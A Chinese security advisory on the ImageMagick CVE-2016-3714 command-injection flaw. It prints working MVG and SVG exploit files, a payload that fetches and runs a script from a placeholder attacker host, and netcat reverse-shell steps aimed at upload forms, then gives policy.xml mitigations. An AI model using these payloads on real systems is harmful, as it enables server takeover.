5月3日,ImageMagick官方披露称,目前程序存在一处远程命令执行漏洞(CVE-2016–3714),当其处理的上传图片带有攻击代码时,可被远程执行任意代码,进而可能控制服务器。
ImageMagick 是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。
Mail.Ru安全团队在4月21日发现了CVE-2016–3714。4月30日,ImageMagic官方发布了新版本6.9.3-9,但没有完全修复漏洞。因此,到目前为止,官方仍未有修复版本推出。
漏洞产生的原因是 ImageMagick 使用 system() 指令调用来处理 HTTPS 请求,而对用户传入的 shell 参数没有做好过滤,导致能注入任意指令执行。
详情参考<Remote Command Execute in WordPress 4.5.1>
exploit.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
exploit.svg
-=-=-=-=-=-=-=-=-
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="SVG namespace" xmlns:xlink=
"XLink namespace">
<image xlink:href="https://example.com/image.jpg"|ls "-la"
x="0" y="0" height="640px" width="480px"/>
</svg>
$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...
保存下面为png图片
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://yourIP.com/x.py -O /tmp/x.py && python /tmp/x.py
yourIP
2333")'
pop graphic-context
在上传图片的地方尝试。
x.py就是常用的back.py.
在你的yourIP
服务器上
nc -l -p -vv 2333 监听即可
(by imagetragick.com)
建议各家企业尽快自查,是否有使用ImageMagick库或相关插件,并及时做好处理。
使用策略文件暂时禁用ImageMagick。可在“/etc/ImageMagick/policy.xml”文件中添加如下代码:
<policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> </policymap>
本文作者:SecPulse
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/45833.html